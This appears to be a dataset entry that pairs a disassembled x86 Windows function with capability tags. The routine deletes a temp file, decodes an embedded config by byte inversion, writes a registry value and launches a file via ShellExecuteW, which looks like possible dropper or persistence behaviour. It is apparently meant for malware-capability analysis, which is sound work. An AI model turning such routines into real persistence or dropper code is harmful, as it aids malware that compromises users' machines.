Function at 0x401ddb
Capabilities:
Create process on windows
Delete file
Get common file path
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x824
mov eax, dword [0x42cc20]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
xor eax, eax
mov esi, 0x206
push esi
mov word [ebp - 0x210], ax
xor ebx, ebx
lea eax, [ebp - 0x20e]
push ebx
push eax
call fcn.00410670
add esp, 0xc
xor eax, eax
push esi
mov word [ebp - 0x418], ax
lea eax, [ebp - 0x416]
push ebx
push eax
call fcn.00410670
add esp, 0xc
push 0x200
lea eax, [ebp - 0x618]
push ebx
push eax
call fcn.00410670
add esp, 0xc
lea eax, [ebp - 0x210]
push eax
mov esi, 0x104
push esi
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push 0x427b6c
lea eax, [ebp - 0x210]
push esi
push eax
call fcn.0040e5f5
add esp, 0xc
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
call fcn.00402205
cmp dword [0x4313b0], 1
mov edi, eax
jne 0x401e91
cmp edi, ebx
jne 0x401e91
xor eax, eax
jmp 0x4021f6
call fcn.00402560
mov ebx, eax
push 0x51
pop eax
mov word [ebp - 0x594], ax
mov eax, 0x2b8e
mov word [ebp - 0x4f2], ax
mov dword [ebp - 0x618], 0x504d534d
xor eax, eax
movzx ecx, word [eax + 0x427800]
mov word [ebp + eax - 0x572], cx
inc eax
inc eax
test cx, cx
jne 0x401eba
xor eax, eax
movzx ecx, word [eax + 0x4277d4]
mov word [ebp + eax - 0x614], cx
inc eax
inc eax
test cx, cx
jne 0x401ed2
xor eax, eax
movzx ecx, word [eax + 0x4277f4]
mov word [ebp + eax - 0x592], cx
inc eax
inc eax
test cx, cx
jne 0x401eea
mov esi, 0x431370
push esi
lea eax, [ebp - 0x490]
push 0x10
push eax
mov dword [ebp - 0x450], 5
call fcn.0040e672
add esp, 0xc
test edi, edi
jne 0x401f29
test ebx, ebx
je 0x401f9e
push 0x4311e0
lea eax, [ebp - 0x592]
push 0x10
push eax
call fcn.0040e672
add esp, 0xc
push 0x431260
lea eax, [ebp - 0x614]
push 0x40
push eax
call fcn.0040e672
add esp, 0xc
push 0x4312e8
lea eax, [ebp - 0x572]
push 0x40
push eax
call fcn.0040e672
mov ax, word [0x4312e0]
mov word [ebp - 0x594], ax
mov ax, word [0x431368]
mov word [ebp - 0x4f2], ax
mov eax, dword [0x43136c]
add esp, 0xc
mov dword [ebp - 0x450], eax
test eax, eax
jne 0x401f9e
mov dword [ebp - 0x450], 5
mov edx, 0x427800
lea eax, [ebp - 0x572]
mov cx, word [eax]
cmp cx, word [edx]
jne 0x401fd1
test cx, cx
je 0x401fcb
mov cx, word [eax + 2]
cmp cx, word [edx + 2]
jne 0x401fd1
add eax, 4
add edx, 4
test cx, cx
jne 0x401fa9
xor ebx, ebx
xor eax, eax
jmp 0x401fd8
sbb eax, eax
sbb eax, 0xffffffff
xor ebx, ebx
cmp eax, ebx
je 0x401ffe
mov dword [ebp - 0x450], 5
xor eax, eax
movzx ecx, word [eax + 0x427800]
mov word [ebp + eax - 0x572], cx
inc eax
inc eax
cmp cx, bx
jne 0x401fe8
cmp word [ebp - 0x614], bx
je 0x4021f3
cmp word [ebp - 0x594], bx
jbe 0x4021f3
mov edi, 0x504d534d
mov eax, esi
mov dword [ebp - 0x618], edi
lea edx, [eax + 2]
mov cx, word [eax]
inc eax
inc eax
cmp cx, bx
jne 0x402028
sub eax, edx
sar eax, 1
je 0x40205b
push esi
push ebx
push 0x20000
call dword [sym.imp.KERNEL32.dll_OpenEventW]
test eax, eax
je 0x40205b
push esi
lea eax, [ebp - 0x490]
push 0x10
push eax
call fcn.0040e672
add esp, 0xc
cmp word [ebp - 0x490], bx
jne 0x40207a
push 0x427b84
lea eax, [ebp - 0x490]
push 0x10
push eax
call fcn.0040e672
add esp, 0xc
cmp word [ebp - 0x470], bx
jne 0x4020c5
push 0x427b90
lea eax, [ebp - 0x470]
push 0x10
push eax
call fcn.0040e672
mov ecx, 0x431390
mov eax, ecx
add esp, 0xc
lea esi, [eax + 2]
mov dx, word [eax]
inc eax
inc eax
cmp dx, bx
jne 0x4020a3
sub eax, esi
sar eax, 1
je 0x4020c5
push ecx
lea eax, [ebp - 0x470]
push 0x10
push eax
call fcn.0040e672
add esp, 0xc
mov dword [ebp - 0x44c], 0x10003f2
cmp dword [ebp - 0x450], ebx
jne 0x4020e1
mov dword [ebp - 0x450], 5
mov eax, edi
mov ecx, 0x80
lea esi, [ebp - 0x618]
lea edi, [ebp - 0x818]
rep movsd dword es:[edi], dword [esi]
cmp dword [ebp - 0x618], eax
jne 0x4021f3
xor eax, eax
not byte [ebp + eax - 0x818]
inc eax
cmp eax, 0x200
jb 0x402104
lea edi, [ebp - 0x818]
call fcn.00401d2f
test eax, eax
je 0x4021f3
lea ebx, [ebp - 0x210]
lea edi, [ebp - 0x470]
call fcn.00402737
push 0x104
lea eax, [ebp - 0x418]
push eax
xor esi, esi
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
xor edx, edx
mov ecx, 0x3e8
div ecx
push 0x64
pop ecx
xor edx, edx
div ecx
mov eax, ebx
push eax
lea eax, [ebp - 0x418]
push eax
mov eax, edx
call fcn.00402c9b
pop ecx
pop ecx
lea eax, [ebp - 0x81c]
push eax
push 3
push esi
push 0x427830
push connect
mov dword [ebp - 0x81c], esi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x4021dc
mov eax, ebx
lea edx, [eax + 2]
mov cx, word [eax]
inc eax
inc eax
cmp cx, si
jne 0x40219e
sub eax, edx
sar eax, 1
lea eax, [eax + eax + 2]
push eax
lea eax, [ebp - 0x210]
push eax
push 1
push esi
push 0x427b9c
push dword [ebp - 0x81c]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jne 0x4021dc
push dword [ebp - 0x81c]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 1
push esi
push 0x4277c4
lea eax, [ebp - 0x210]
push eax
push esi
push esi
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
xor eax, eax
inc eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040e5e6
leave
ret